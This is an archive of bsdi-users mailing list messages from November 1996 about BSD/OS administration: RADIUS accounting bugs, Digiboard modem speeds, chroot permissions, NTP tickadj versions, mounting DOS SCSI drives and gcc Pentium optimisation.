jason@mastaler.com (Jason R. Mastaler) Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" cc: bsdi-users@BSDI.COM Subject: Re: News server hardware Date: 25 Nov 1996 13:13:56 -0500 "Jacob M. Parnas" writes: > I heard that in 1997 gcc will be optimized for the Pentium and Pentium Pro. This is already available through PGCC - http://www.goof.com/pcg/ From VM Mon Nov 25 20:55:37 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["990" "Mon" "25" "November" "1996" "09:36:21" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "22" "Re: radius 1.16 and US Robotics modems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA28177 for ; Mon, 25 Nov 1996 13:26:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA12518 for bsdi-users-outgoing; Mon, 25 Nov 1996 13:21:08 -0500 (EST) Message-Id: <199611251736.JAA21114@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, edwin@tcs.tcsourceone.com Subject: Re: radius 1.16 and US Robotics modems Date: Mon, 25 Nov 1996 09:36:21 -0800 (PST) > > I am trying to get the accounting/logging portion of Radius 1.16 (from > Livingston) working. I have a USR Netserver16 and a Netserver Total > Control Chassis. The password authentication is working fine, but I can't > get the logging feature to work. I'm having some difficulties getting > support from either Livingston or USR. Is there anyone who has had some > experience with either of both of this who could offer some assistance? > If I remember correctly the version 1.16 Livingston server wasn't handling the signing of accounting messages properly and so would ignore perfectly valid accounting packets. The fix was pretty simple, and Livingston should be fully aware of the problem. I'd suggest giving the Merit server (ftp.merit.edu) a try. It at least conforms to the RFC. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Mon Nov 25 20:55:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1805" "Mon" "25" "November" "1996" "13:15:50" "-0500" "Helen Birkmann" "helen@gomez.mkl.com" nil "53" "Re: digiboard port setup and modem connect speeds" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA28450 for ; Mon, 25 Nov 1996 13:35:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA12543 for bsdi-users-outgoing; Mon, 25 Nov 1996 13:30:58 -0500 (EST) In-Reply-To: <1.5.4.32.19961125144541.00997ba0@204.101.127.2> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: Roch Pageau cc: bsdi-users@BSDI.COM Subject: Re: digiboard port setup and modem connect speeds Date: Mon, 25 Nov 1996 13:15:50 -0500 (EST) On Mon, 25 Nov 1996, Roch Pageau wrote: > I have BSDI 2.1 and two digi 16em daisy chained together for 28.8 practical > modems. > > Questions: > > 1) Is the 57600 the best settting for the fastest, most stable performance ? > > 2) Could I go to 115200 and would it be better or the other way to 38400, > what the difference?? > > (At the moment they are all set up the same in ttys and remote???) > ttyA00 "/usr/libexec/getty t57600-hf" dialup on > ttyA01 "/usr/libexec/getty t57600-hf" dialup on > ttyA02 "/usr/libexec/getty t57600-hf" dialup on > ttyA03 "/usr/libexec/getty t57600-hf" dialup on > ttyA04 "/usr/libexec/getty t57600-hf" dialup on > ttyA05 "/usr/libexec/getty t57600-hf" dialup on > ttyA06 "/usr/libexec/getty t57600-hf" dialup on > > ttyA00:dv=/dev/ttyA00:br#57600: > ttyA01:dv=/dev/ttyA01:br#57600: > ttyA02:dv=/dev/ttyA02:br#57600: > ttyA03:dv=/dev/ttyA03:br#57600: > ttyA04:dv=/dev/ttyA04:br#57600: > ttyA05:dv=/dev/ttyA05:br#57600: > ttyA06:dv=/dev/ttyA06:br#57600: > ttyA07:dv=/dev/ttyA07:br#57600: > ttyA08:dv=/dev/ttyA08:br#57600: > > Any others suggestions appreciated. > > 3) We are also getting connected at 26400 more often than 28800 now that we > have switched to a T1 instead of regular analog lines. The performance does > not seem to be any different but customer perception is sure to be a > problem. Anything I can do here? > > 4) I also have been testing with two USR 33600 sportsters and can never get > connected at 33600, is anyone seeing this or am I asking for the impossible? > Make sure you are using the corect dip switch settings and the tip configuration. In one of my previous replies I went through the settings that I use for my USR 33600 ext. v weverything. I also run digi pcxem, ISA type. > Thanks > > Roch > > From VM Mon Nov 25 20:55:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1564" "Mon" "25" "November" "1996" "11:46:04" "-0700" "Luc Croteau" "lcroteau@ls.barrhead.ab.ca" nil "31" "Re: Virtual sendmail" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA28730 for ; Mon, 25 Nov 1996 13:48:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA12611 for bsdi-users-outgoing; Mon, 25 Nov 1996 13:44:34 -0500 (EST) Message-Id: <1.5.4.32.19961125184604.006b8884@ls.barrhead.ab.ca> X-Sender: lcroteau@ls.barrhead.ab.ca X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Luc Croteau Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@gateway.com Subject: Re: Virtual sendmail Date: Mon, 25 Nov 1996 11:46:04 -0700 At 10:18 AM 11/25/96 -0500, Ralph Huntington wrote: >> The prize for the right answer is,for real, a can of REAL canadian maple >> syrup and I will even pay for shipping, directly from snowland. > >Has anyone won the can of maple syrup yet? - rh Thanks for everyone who gave it a try. Jeff Finkelstein of BSDI won the can. I want to personally thank Jeff for spending so much time on E-mail and voice line to fix my problem and also take the time to explain some of the finer points of DNS and sendmail. Jeff actually spend over 2hours on this problem for me. Once again, thank you to all for the suggestions. \\\|/// \\ - - // ( @ @ ) +------------------------------------------oOOo-(_)-oOOo--------------------+ * Luc Croteau | If one advances confidently in the direction of his * * President | dreams and endevors to live the life which he has * * Lands Systems Ltd.| imagined, he will meet with a success unexpected in * * Barrhead, Alberta | common hours. - Henry David THOREAU * * Canada T7N 1N1 | Internet address: lcroteau@ls.barrhead.ab.ca * +--------------------------------------------------Oooo---------------------+ oooO ( ) ( ) ) / \ ( (_/ \_) From VM Mon Nov 25 20:55:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["423" "Mon" "25" "November" "1996" "11:20:53" "-0800" "Douglas L. Wong" "dwong@pacent.com" nil "21" "Chroot Question" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA00209 for ; Mon, 25 Nov 1996 14:41:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA12700 for bsdi-users-outgoing; Mon, 25 Nov 1996 14:19:01 -0500 (EST) Message-ID: X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.993.5 Precedence: bulk From: "Wong, Douglas L. - Internet" Sender: owner-bsdi-users@lists.gateway.com To: "'bsdi-users@BSDI.COM'" Subject: Chroot Question Date: Mon, 25 Nov 1996 11:20:53 -0800 Can someone clairify the purpose of the chroot command. I'm trying to use the chroot command to prevent users logging into my machine to change directory (whether they are ftp or telneting) on the machine. Man pages say: chroot newroot {command} When I log in as the user and try: chroot /usr/user I get the message that the operation is not permitted. Must I have RWX on this directory for this user?? thx, dlw From VM Mon Nov 25 20:55:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1831" "Mon" "25" "November" "1996" "11:40:31" "-0800" "Y. F. SysAdmin" "gerry@icebox.iceonline.com" nil "65" "Re: digiboard port setup and modem connect speeds" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA00482 for ; Mon, 25 Nov 1996 14:51:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA12811 for bsdi-users-outgoing; Mon, 25 Nov 1996 14:40:17 -0500 (EST) Message-Id: <199611251940.LAA06024@icebox.iceonline.com> In-Reply-To: <1.5.4.32.19961125144541.00997ba0@204.101.127.2> from "Roch Pageau" at Nov 25, 96 09:45:41 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: "Y.F.SysAdmin" Sender: owner-bsdi-users@lists.gateway.com To: rpageau@inexpress.net (Roch Pageau) Cc: bsdi-users@BSDI.COM Subject: Re: digiboard port setup and modem connect speeds Date: Mon, 25 Nov 1996 11:40:31 -0800 (PST) > > I have BSDI 2.1 and two digi 16em daisy chained together for 28.8 practical > modems. > We use 112 digi channels. According to digi tech support you cant do better than 57600 if you have > 32 channels. Really! 115200 will only work for 16 channels ( ie 1 "bread basket" ) So : channels DTE (MAX) 16 115200 32 57600 33+ 38400 Anyone want to buy our digis ? : > -g > Questions: > > 1) Is the 57600 the best settting for the fastest, most stable performance ? > > 2) Could I go to 115200 and would it be better or the other way to 38400, > what the difference?? > > (At the moment they are all set up the same in ttys and remote???) > ttyA00 "/usr/libexec/getty t57600-hf" dialup on > ttyA01 "/usr/libexec/getty t57600-hf" dialup on > ttyA02 "/usr/libexec/getty t57600-hf" dialup on > ttyA03 "/usr/libexec/getty t57600-hf" dialup on > ttyA04 "/usr/libexec/getty t57600-hf" dialup on > ttyA05 "/usr/libexec/getty t57600-hf" dialup on > ttyA06 "/usr/libexec/getty t57600-hf" dialup on > > ttyA00:dv=/dev/ttyA00:br#57600: > ttyA01:dv=/dev/ttyA01:br#57600: > ttyA02:dv=/dev/ttyA02:br#57600: > ttyA03:dv=/dev/ttyA03:br#57600: > ttyA04:dv=/dev/ttyA04:br#57600: > ttyA05:dv=/dev/ttyA05:br#57600: > ttyA06:dv=/dev/ttyA06:br#57600: > ttyA07:dv=/dev/ttyA07:br#57600: > ttyA08:dv=/dev/ttyA08:br#57600: > > Any others suggestions appreciated. > > 3) We are also getting connected at 26400 more often than 28800 now that we > have switched to a T1 instead of regular analog lines. The performance does > not seem to be any different but customer perception is sure to be a > problem. Anything I can do here? > > 4) I also have been testing with two USR 33600 sportsters and can never get > connected at 33600, is anyone seeing this or am I asking for the impossible? > > > Thanks > > Roch > > From VM Mon Nov 25 20:55:45 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["526" "Mon" "25" "November" "1996" "14:48:48" "-0500" "Mike Pelletier" "mikep@comshare.com" nil "16" "Re: Where do you get tickadj ???" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA00759 for ; Mon, 25 Nov 1996 14:57:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA12861 for bsdi-users-outgoing; Mon, 25 Nov 1996 14:49:25 -0500 (EST) Posted-Date: Mon, 25 Nov 1996 14:48:49 -0500 (EST) Reply-To: Mike Pelletier In-Reply-To: <199611251712.JAA18449@dei.calldei.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pelletier Sender: owner-bsdi-users@lists.gateway.com To: "David A. Lee" cc: bsdi-users@BSDI.COM Subject: Re: Where do you get tickadj ??? Date: Mon, 25 Nov 1996 14:48:48 -0500 (EST) On Mon, 25 Nov 1996, David A. Lee wrote: > Where do you find tickadj ??? I cant find it anywhere on my BSDI2.1 system. > -David Lee > dave@calldei.com BSDI uses the 3.4 version of NTP, which doesn't include tickadj. I got it from the 3.5f distribution, at http://www.eecis.udel.edu/~ntp/. Note that so far, the 3.5f version of xntpd doesn't run due to a segmentation violation in the results of getifaddrs() which I'm working on debugging now, so I'm running 3.5f ntpdate and tickadj, and 3.4 xntpd. -Mike Pelletier. From VM Mon Nov 25 20:55:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1713" "Mon" "25" "November" "1996" "15:06:09" "-0500" "Kurt J. Lidl" "lidl@va.pubnix.com" nil "39" "Re: News server hardware " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA02413 for ; Mon, 25 Nov 1996 15:56:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id PAA13057 for bsdi-users-outgoing; Mon, 25 Nov 1996 15:40:40 -0500 (EST) Message-Id: In-reply-to: Your message of "Mon, 25 Nov 1996 11:05:06 EST." <9611251605.AA18893@thor.sdrc.com> Precedence: bulk From: "Kurt J. Lidl" Sender: owner-bsdi-users@lists.gateway.com To: larry.jones@sdrc.com (Larry Jones) cc: root@ns2.clever.net (Sam Brown), jparnas@jparnas.cybercom.net, lithium@cia-g.com, bsdi-users@BSDI.COM Subject: Re: News server hardware Date: Mon, 25 Nov 1996 15:06:09 -0500 >Sam Brown writes: >> Getting back to BSDI, i know the gcc isn't optimized for the pentium >> (hint bsdi 3.x) what about the pro? Anyone bench the P-200 vs p-180-pro vs >> p-200 under bsdi? Is the value there compared to lower end (p-166). Or >> even the cyrix p-200+ (cough yuck). > >From what I've seen from Intel about optimizing, the Pro behaves more >like a 486 than a Pentium, so the existing gcc optimizations for the 486 >should work pretty well. Actually, the entire Intel Instruction Set Architecture (ISA) varies widely in its efficiency on various processors. Knowning the ultimate target for a given program allows for a tailored set of instructions, obviously. GCC, as of the current release version, doesn't really differentiate between members of the Intel line, other than having a "-m486" switch, which affects some of the code generation functions. There is *ONGOING* work in the various GCC snapshots about having a smarter code generation engine, that can deal with superscaler architectures, like the Pentium Pro. (Of course, the high-end UltraSparc processors, and the PowerPC 60{3,4}{,e} have far more to gain with a better scheduler, due to the larger number of parallel instruction execution units in those processors.) The work on the new instruction scheduler has not been folded into a main-line GCC release, to date. As for running benchmarks on the Pentium vs the PentiumPro, I have witnessed a 25% increase in speed (running the same binary) merely by switching to a PentiumPro, at the same clock speed. This was, I point out, on a program that is nearly 100% floating point bound. There is a smaller increase on integer bound programs, but one that is noticable. -Kurt From VM Mon Nov 25 20:55:53 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["720" "Mon" "25" "November" "1996" "14:59:35" "+0000" "Mike Grommet" "mgrommet@insolwwb.net" nil "25" "Re: DIALUP TOOLS" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA02703 for ; Mon, 25 Nov 1996 16:16:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA13094 for bsdi-users-outgoing; Mon, 25 Nov 1996 16:01:29 -0500 (EST) Message-Id: <199611252041.OAA02692@ns.insolwwb.net> Comments: Authenticated sender is X-mailer: Pegasus Mail for Windows (v2.33) Precedence: bulk From: "Mike Grommet" Sender: owner-bsdi-users@lists.gateway.com To: Helen Birkmann CC: bsdi-users@BSDI.COM Subject: Re: DIALUP TOOLS Date: Mon, 25 Nov 1996 14:59:35 +0000 > Are you using it in conjunction with the vi editor? If yes, > you should be hitting "shift ZZ" to save, then you get > prompted for the password and after confirming that and > the user's home directory, you should end up at a command prompt. > > On Sat, 21 Sep 1996, Donald Dahlman wrote: > > > When I run the config_dialin program, all goes well until > > I :w and then :q. After the :q the system hangs and I > > must reboot the machine. > > > > the :w :q works fine for me... always has. Mike Grommet System Administrator & Web Page Designer Internet Solutions, Inc. mgrommet@insolwwb.net "As long as there are tests, there will always be prayer in schools." -- Unknown, but probably a student :) From VM Mon Nov 25 20:55:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1217" "Mon" "25" "November" "1996" "13:28:26" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "36" "Re: Chroot Question" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA03795 for ; Mon, 25 Nov 1996 16:50:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA13198 for bsdi-users-outgoing; Mon, 25 Nov 1996 16:33:27 -0500 (EST) Message-Id: <199611252128.NAA21739@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, dwong@pacent.com Subject: Re: Chroot Question Date: Mon, 25 Nov 1996 13:28:26 -0800 (PST) > Can someone clairify the purpose of the chroot command. > > I'm trying to use the chroot command to prevent users logging into my > machine to change directory (whether they are ftp or telneting) on the > machine. > > Man pages say: > > chroot newroot {command} > > When I log in as the user and try: > > chroot /usr/user > > I get the message that the operation is not permitted. > > Must I have RWX on this directory for this user?? > The problem with the chroot command is that it is privileged and can only be run as root. What you need to do is have the login command do the chroot for you for certain classes of users. You can probably do that somehow with the user class mechanism, but you'll have to look into that yourself. I didn't see any easy way of doing it with login.conf, but maybe somebody else can. I'd NOT suggest making chroot setuid to root as that allows people to instantly get a root shell. Note that if chroot didn't require root privilege it would be simple to use it to break into a system. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Mon Nov 25 20:55:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["691" "Mon" "25" "November" "1996" "14:45:02" "-0700" "Steven Freed" "sfreed@gilasoft.com" nil "20" "Re: radius 1.16 and US Robotics modems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA03800 for ; Mon, 25 Nov 1996 16:51:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA13255 for bsdi-users-outgoing; Mon, 25 Nov 1996 16:47:32 -0500 (EST) In-Reply-To: <199611251736.JAA21114@webb-home.chelmsford.telebit.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Steven Freed Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb cc: bsdi-users@BSDI.COM, edwin@tcs.tcsourceone.com Subject: Re: radius 1.16 and US Robotics modems Date: Mon, 25 Nov 1996 14:45:02 -0700 (MST) On Mon, 25 Nov 1996, Bill Webb wrote: > If I remember correctly the version 1.16 Livingston server wasn't handling > the signing of accounting messages properly and so would ignore perfectly > valid accounting packets. The fix was pretty simple, and Livingston should be > fully aware of the problem. > > I'd suggest giving the Merit server (ftp.merit.edu) a try. It at least > conforms to the RFC. As does Livingston's 2.0 version which is available from the livingston FTP site. ...we have experienced fewer problems since switching from the Merit server to the Livingston 2.0 server. ...though the Merit version had fewer problems than the Livingston 1.16 version. -- Steven. From VM Mon Nov 25 20:56:02 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1000" "Mon" "25" "November" "1996" "13:50:12" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "26" "Re: radius 1.16 and US Robotics modems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA03828 for ; Mon, 25 Nov 1996 16:56:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA13266 for bsdi-users-outgoing; Mon, 25 Nov 1996 16:55:08 -0500 (EST) Message-Id: <199611252150.NAA21820@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: sfreed@gilasoft.com Cc: bsdi-users@BSDI.COM, edwin@tcs.tcsourceone.com Subject: Re: radius 1.16 and US Robotics modems Date: Mon, 25 Nov 1996 13:50:12 -0800 (PST) > > > If I remember correctly the version 1.16 Livingston server wasn't handling > > the signing of accounting messages properly and so would ignore perfectly > > valid accounting packets. The fix was pretty simple, and Livingston should be > > fully aware of the problem. > > > > I'd suggest giving the Merit server (ftp.merit.edu) a try. It at least > > conforms to the RFC. > > As does Livingston's 2.0 version which is available from the livingston > FTP site. ...we have experienced fewer problems since switching from the > Merit server to the Livingston 2.0 server. ...though the Merit version > had fewer problems than the Livingston 1.16 version. > Thanks for the update. Last time I checked it there was still only the 1.16 server available. I'll pick up the 1.20 server and give it a try. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Mon Nov 25 20:56:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1556" "Mon" "25" "November" "1996" "17:04:21" "-0500" "Rick Frerichs" "rick@swcbbs.com" nil "53" "MSDOS DISK DRIVES" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA04366 for ; Mon, 25 Nov 1996 17:12:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA13297 for bsdi-users-outgoing; Mon, 25 Nov 1996 17:04:32 -0500 (EST) Message-Id: <199611252204.RAA04833@swcbbs.com> Precedence: bulk From: Rick Frerichs Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Cc: rick@swcbbs.com Subject: MSDOS DISK DRIVES Date: Mon, 25 Nov 1996 17:04:21 -0500 I hope the list can help here.. I have 4 scsi disk drives that are in a DOS system. I have added another scsi controller to our system and the drives are on that scsi bus. The kernel sees the drives and second controller with no problem. For example, the first drive is sd0. When I try to mount the drive, I get a "no disk label" error. The command I am using is mount_msdos /dev/sd0a /mnt. If I use disksetup -D sd0 it shows me the output as follows this note. If anybody knows what I need to do to get this running I would appreciate it. I have 14 GB of files to copy onto the unix scsi drives on the other controller. Thanks in advance, Rick result of disksetup -D sd0 # Missing disk label, default label used. # Geometry may be incorrect. # sd0: type: unknown disk: label: flags: default_geometry bytes/sector: 0 sectors/track: 0 tracks/cylinder: 0 sectors/cylinder: 0 cylinders: 0 sectors/unit: 0 replacement sectors/track: 0 replacement sectors/cylinder: 0 alternate cylinders: 0 rpm: 0 interleave: 0 trackskew: 0 cylinderskew: 0 headswitch: 0 # milliseconds track-to-track seek: 0 # milliseconds drivedata: 0 0 partitions: # size offset fstype [fsize bsize cpg] FDISK table: # size offset scyl shd ssc ecyl ehd esc type *1: 204768 32 0 1 1 99 63 32 0x06 # (DOS) 2: 1103872 204800 100 0 1 638 63 32 0x05 # (DOS) 3: 0 0 0 0 0 0 0 0 0x00 # (Unused) 4: 0 0 0 0 0 0 0 0 0x00 # (Unused) From VM Mon Nov 25 20:56:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["397" "Mon" "25" "November" "1996" "16:14:15" "-0600" "Doug Maxey" "dwm@netans.com" nil "14" "Re: News server hardware " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA04654 for ; Mon, 25 Nov 1996 17:25:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA13318 for bsdi-users-outgoing; Mon, 25 Nov 1996 17:14:26 -0500 (EST) Message-Id: <199611252214.QAA21182@spec.NetAns.com> In-reply-to: Jason R. Mastaler's message of 25 Nov 1996 13:13:56 EST. Precedence: bulk From: Doug Maxey Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: News server hardware Date: Mon, 25 Nov 1996 16:14:15 -0600 Note that the referenced compiler is more or less specific for ELF format and linux. I haven't used it, but I did peruse the FAQ. from the input device of Jason R. Mastaler: >"Jacob M. Parnas" writes: > >> I heard that in 1997 gcc will be optimized for the Pentium and Pentium Pro. > >This is already available through PGCC - http://www.goof.com/pcg/ > ..doug From VM Mon Nov 25 20:56:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["517" "Mon" "25" "November" "1996" "17:28:41" "+0000" "Jim Cassata" "jim@web-ex.com" nil "26" "netstart entries" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA04658 for ; Mon, 25 Nov 1996 17:26:56 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA13312 for bsdi-users-outgoing; Mon, 25 Nov 1996 17:14:08 -0500 (EST) Message-Id: <199611252220.RAA09498@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: netstart entries Date: Mon, 25 Nov 1996 17:28:41 +0000 Hello everyone, A while back I asked how do you configure virtual hosts and specifically netstart without rebooting for the changes to take effect. Everyone's reply was key the netstart entries at the command line. I did. I typed the following: ifconfig ne0 205.230.175.24 alias and got: ifconfig: ioctl (SIOCAIFADDR): File exists What did I do wrong?? TIA Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Mon Nov 25 20:56:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["871" "Mon" "25" "November" "1996" "15:53:18" "-0700" "Edwin C. Philips" "edwin@tcs.tcsourceone.com" nil "26" "Re: radius 1.16 and US Robotics modems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA06019 for ; Mon, 25 Nov 1996 18:12:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA13419 for bsdi-users-outgoing; Mon, 25 Nov 1996 17:52:16 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Edwin C. Philips" Sender: owner-bsdi-users@lists.gateway.com To: Steven Freed cc: Bill Webb , bsdi-users@BSDI.COM Subject: Re: radius 1.16 and US Robotics modems Date: Mon, 25 Nov 1996 15:53:18 -0700 (MST) On Mon, 25 Nov 1996, Steven Freed wrote: > On Mon, 25 Nov 1996, Bill Webb wrote: > > > If I remember correctly the version 1.16 Livingston server wasn't handling > > the signing of accounting messages properly and so would ignore perfectly > > valid accounting packets. The fix was pretty simple, and Livingston should be > > fully aware of the problem. > > > > I'd suggest giving the Merit server (ftp.merit.edu) a try. It at least > > conforms to the RFC. > > As does Livingston's 2.0 version which is available from the livingston Hmm... I had originally tried 2.0, and couldn't even get it to do authentication, though that may have been a config error. When I talked to Livingston, however, they told me a) ver 2.0 would only work with Portmasters, and b) ver 2.0 was only available to livingston customers. Edwin C. Philips edwin@tcsourceone.com From VM Mon Nov 25 20:56:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1286" "Mon" "25" "November" "1996" "18:22:16" "-0500" "Evan Champion" "evanc@synapse.net" nil "27" "Re: Where do you get tickadj ???" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA06567 for ; Mon, 25 Nov 1996 18:31:55 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id SAA13469 for bsdi-users-outgoing; Mon, 25 Nov 1996 18:22:28 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Evan Champion Sender: owner-bsdi-users@lists.gateway.com To: Mike Pelletier cc: "David A. Lee" , bsdi-users@BSDI.COM Subject: Re: Where do you get tickadj ??? Date: Mon, 25 Nov 1996 18:22:16 -0500 (EST) On Mon, 25 Nov 1996, Mike Pelletier wrote: > BSDI uses the 3.4 version of NTP, which doesn't include tickadj. I got it > from the 3.5f distribution, at http://www.eecis.udel.edu/~ntp/. Note that > so far, the 3.5f version of xntpd doesn't run due to a segmentation > violation in the results of getifaddrs() which I'm working on debugging > now, so I'm running 3.5f ntpdate and tickadj, and 3.4 xntpd. There is a bug with 3.5f and BSD/OS, which should have been fixed in the source tree but as there hasn't been a new release since I reported the problem, no fixed version is available. Unfortunately, I don't remember exactly what the problem was, but I think it involved a null-pointer test on a network function like gethostbyaddr or somesuch. At any rate, there is a solution. If you get on to louie.udel.edu you'll find another set of xntp sources with a version at 5.86. I don't know what the difference is between these and the 3.5x series, because they seem to me to be identical, but 5.86 does not have this problem. I've been running it on all my servers for over a month without a glitch. Evan -- Evan Champion * Director, Network Operations 